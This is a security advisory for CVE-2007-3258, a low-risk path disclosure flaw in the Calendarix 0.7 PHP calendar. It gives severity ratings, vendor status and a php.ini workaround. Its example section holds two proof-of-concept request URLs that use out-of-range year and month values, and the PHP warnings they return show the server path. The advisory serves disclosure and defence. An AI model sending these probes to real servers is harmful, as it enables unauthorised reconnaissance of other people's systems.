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Fact: More than 15 vulnerabilities were discovered EVERY day of 2009
Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used
functions in the shortest steps.
This vulnerabilities can be exploited only with PHP version < 5.0.0 and MS Windows hosting.
External References:
Mitre CVE: CVE-2007-3258
NVD NIST: CVE-2007-3258
OSVDB: 35371
Summary:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
Security problems in the product allow attackers to gather the true path of the server-side script.
Release Date:
June 25 2007
Severity:
Risk: Low
CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 1.86
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
Vulnerability Impact: Attack
Host Impact: Path disclosure.
SecureScout Testcase ID:
TC 17967
Vulnerable Systems:
Calendarix version 0.7. 20070307
Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.
Vendor:
Vincent Hor (Calendarix Enterprise)
Vendor Status:
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.
Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off.
Example:
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?year=10000
REPLY:
<b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /> ... <b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br />
Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=10000
REPLY:
<b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>55</b><br /> ... <b>Warning</b>: mktime(): Windows does not support negative values for this function in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br /><b>Warning</b>: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php</b> on line <b>67</b><br />
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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